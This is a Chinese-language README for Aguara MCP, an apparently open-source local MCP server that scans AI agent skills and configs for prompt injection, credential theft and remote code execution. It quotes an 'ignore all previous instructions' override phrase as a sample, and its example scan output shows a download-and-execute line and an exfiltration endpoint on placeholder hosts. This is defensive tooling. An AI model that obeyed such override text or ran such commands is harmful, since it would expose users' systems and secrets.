garagon/aguara-mcp
GitHub: garagon/aguara-mcp
这是一个为 AI 智能体提供安全扫描能力的 MCP 服务器，让智能体在安装第三方技能和插件前能够自主检测提示注入、凭证泄露、远程代码执行等安全威胁。
Stars: 3 | Forks: 0
# Aguara MCP
**AI 智能体的安全顾问。**
Aguara MCP 是一个 [MCP server](https://modelcontextprotocol.io/)，它赋予 AI 智能体在安装或运行技能、插件和 MCP 配置之前，扫描其中安全威胁的能力。基于 [官方 MCP SDK](https://github.com/modelcontextprotocol/go-sdk) (v1, Tier 1) 构建。
由 [Aguara](https://github.com/garagon/aguara) 驱动，这是专为 AI 智能体生态系统构建的开源安全扫描器。拥有 160+ 规则，15 个威胁类别，三个分析引擎（模式、NLP、toxic-flow），零网络访问。
## 问题所在
AI 智能体正在获得越来越多的自主权。它们浏览注册表，发现工具，安装 MCP server，并执行第三方代码 —— 通常没有任何安全审查。
这创造了新的攻击面。今天发布到注册表的一项技能可能包含：
- **Prompt injection**：劫持智能体的行为（“忽略所有先前的指令...”）
- **Credential theft**：从智能体环境中窃取 API key、token 和 secret
- **Remote code execution**：隐藏在安装脚本中的远程代码执行（`curl | bash`, shell injection）
- **Data exfiltration**：静默地将用户数据发送到攻击者控制的 endpoint
- **Supply chain attacks**：通过依赖混淆和 typosquatting 发起的供应链攻击
智能体并不知情。它无法区分有益的工具和被武器化的工具。描述看起来很正常。安装成功。损害已经造成。
**这就是 Aguara MCP 填补的空白。** 它为智能体提供了一个可以作为工具咨询的安全顾问 —— 就像开发人员在合并代码前运行 linter 一样。一次工具调用，几毫秒，完全本地化。智能体先检查，再做决定。
## 快速开始
```
curl -fsSL https://raw.githubusercontent.com/garagon/aguara-mcp/main/install.sh | sh
```
或者使用 Go：
```
go install github.com/garagon/aguara-mcp@latest
```
一条命令，一个二进制文件，无外部依赖。
### 添加到您的 AI 智能体
**Claude Code:**
```
claude mcp add aguara -- aguara-mcp
```
**Claude Desktop** — 添加到 `claude_desktop_config.json`:
```
{
"mcpServers": {
"aguara": {
"command": "aguara-mcp"
}
}
}
```
**Cursor / Windsurf / 任何 MCP 客户端** — 使用 `aguara-mcp` 进行 stdio 传输。
您的智能体现在拥有了一位安全顾问。
## 工具
### `scan_content`
扫描文本中的安全威胁。在根据技能描述、工具定义、README 或任何不可信的内容采取行动之前使用它。
| 参数 | 必需 | 描述 |
|-----------|----------|-------------|
| `content` | 是 | 要扫描的文本内容 |
| `filename` | 否 | 用于规则匹配的文件名提示（默认：`skill.md`） |
| `min_severity` | 否 | 报告的最低严重级别：`INFO`, `LOW`, `MEDIUM`, `HIGH`, 或 `CRITICAL` |
| `disabled_rules` | 否 | 要跳过的规则 ID 列表（例如，`["PROMPT_INJECTION_001"]`） |
返回包含严重级别评定、匹配模式、行号、置信度分数以及产生每个发现的分析引擎的结构化报告。
### `check_mcp_config`
分析 MCP server 配置中的危险模式 —— 暴露的凭证、不安全的命令、权限过大的设置。
| 参数 | 必需 | 描述 |
|-----------|----------|-------------|
| `config` | 是 | MCP 配置，JSON 字符串格式 |
| `min_severity` | 否 | 报告的最低严重级别：`INFO`, `LOW`, `MEDIUM`, `HIGH`, 或 `CRITICAL` |
| `disabled_rules` | 否 | 要跳过的规则 ID 列表 |
### `list_rules`
浏览完整的规则数据库。当智能体需要了解存在哪些威胁类别或 Aguara 可以检测什么时非常有用。
| 参数 | 必需 | 描述 |
|-----------|----------|-------------|
| `category` | 否 | 按类别筛选（例如，`prompt-injection`, `exfiltration`, `credential-leak`） |
### `explain_rule`
获取特定规则的详细信息 —— 它检测什么、其模式以及真/假阳性示例。
| 参数 | 必需 | 描述 |
|-----------|----------|-------------|
| `rule_id` | 是 | 规则 ID（例如，`PROMPT_INJECTION_001`） |
### `discover_mcp`
发现本地机器上的 MCP server 配置。扫描 Claude Desktop, Cursor, VS Code, Windsurf 和其他 MCP 客户端的已知配置路径。返回所有服务器定义及其命令、参数和环境变量。
无需参数。
## 示例
一个智能体正在评估是否从注册表安装 MCP server：
```
User: "Install the data-processor MCP server"
Agent (before installing, calls scan_content with the skill README):
→ {
"summary": "Found 2 issues: 1 critical, 1 high",
"findings": [
{
"severity": "CRITICAL",
"rule_id": "SUPPLY_003",
"rule_name": "Download-and-execute",
"line": 12,
"matched_text": "curl https://cdn.example.com/setup.sh | bash",
"analyzer": "pattern"
},
{
"severity": "HIGH",
"rule_id": "EXFIL_001",
"rule_name": "Data exfiltration endpoint",
"line": 34,
"matched_text": "https://collect.example.com/data",
"confidence": 0.92,
"analyzer": "nlp"
}
]
}
Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."
```
如果没有 Aguara MCP，智能体会悄无声息地安装它。
## 覆盖范围
跨 12 个威胁类别的 173 条模式规则，外加 NLP 和 toxic-flow 分析器：
| 类别 | 规则 | 检测内容 |
|----------|-------|---------|
| Credential leak | 20 | 明文中的 API key, token, secret |
| Supply chain | 19 | 依赖混淆, typosquatting |
| Prompt injection | 18 | 指令覆盖, 越狱, 角色劫持 |
| Exfiltration | 16 | 数据发送到攻击者控制的 endpoint |
| External download | 16 | curl\|bash, 远程脚本执行 |
| MCP attacks | 16 | 工具投毒, 权限提升 |
| Command execution | 15 | Shell injection, 子进程生成 |
| Indirect injection | 11 | 通过外部内容注入 |
| MCP config | 11 | 不安全的服务器配置 |
| SSRF / Cloud | 11 | 元数据端点访问, SSRF 模式 |
| Third-party content | 10 | 未经验证的外部数据使用 |
| Unicode attacks | 10 | 同形字, 双向覆盖, 不可见字符 |
此外，NLP injection analyzer 和 toxic-flow analyzer 可以检测逃避静态模式的威胁。
## 工作原理
```
Agent Aguara MCP
│ │
├─ scan_content(text) ────►│
│ ├─ aguara.ScanContent()
│ │ (in-process, no disk I/O)
│ │ 160+ rules · 3 analyzers
│◄─ structured report ─────┤
│ │
├─ discover_mcp() ────────►│
│ ├─ aguara.Discover()
│ │ (reads local config files)
│◄─ server definitions ────┤
│ │
```
Aguara MCP 将 [Aguara scanner](https://github.com/garagon/aguara) 作为 Go 库导入 —— 没有子进程，没有临时文件，没有外部二进制文件。扫描引擎在进程内运行，版本完整性由 `go.sum` 保证。
MCP 协议层使用 [官方 Go SDK](https://github.com/modelcontextprotocol/go-sdk)（Tier 1, Linux Foundation 治理, v1 semver 稳定性）。这确保了协议合规性以及随着 MCP 规范演进的长期兼容性。
无网络访问。无 LLM 调用。无云依赖。一切都在本地确定性地运行。扫描在几毫秒内完成。
## 安全
有关漏洞披露政策，请参阅 [SECURITY.md](SECURITY.md)。
Aguara MCP 本身也经过了安全加固：
- **无子进程执行** — Aguara 作为进程内 Go 库运行，消除了 PATH 劫持和二进制替换的风险
- **输入验证** — 规则 ID 根据严格格式进行验证，内容大小上限为 10 MB
- **文件名清理** — 仅允许白名单字符，限制长度，无路径遍历
- **版本完整性** — Aguara scanner 版本固定在 `go.sum` 中，并在构建时验证
## 高级
Debug 模式（将扫描详情记录到 stderr）：
```
claude mcp add aguara -- aguara-mcp --debug
```
从源码构建：
```
git clone https://github.com/garagon/aguara-mcp.git
cd aguara-mcp
make build # → ./aguara-mcp
make test # runs all tests
```
### 将 Aguara 作为 Go 库使用
Aguara MCP 使用 Aguara 公共 API。您可以在自己的工具中使用它：
```
import "github.com/garagon/aguara"
result, err := aguara.ScanContent(ctx, content, "skill.md",
aguara.WithMinSeverity(aguara.SeverityHigh),
aguara.WithDisabledRules("CRED_001"),
)
rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()
```
完整 API 参考 请参阅 [Aguara 文档](https://github.com/garagon/aguara)。
## 许可证
[MIT](LICENSE)
标签：AI代理安全, AI治理, Claude工具, DNS 反向解析, EVTX分析, EVTX分析, Go语言, IP 地址批量处理, MCP服务器, Model Context Protocol, NLP分析, 大模型安全, 安全扫描, 恶意插件检测, 数据渗出, 文档安全, 日志审计, 时序注入, 本地安全工具, 程序破解, 第三方组件审计, 编程工具, 远程代码执行, 错误基检测, 零信任安全, 零日漏洞检测, 静态代码分析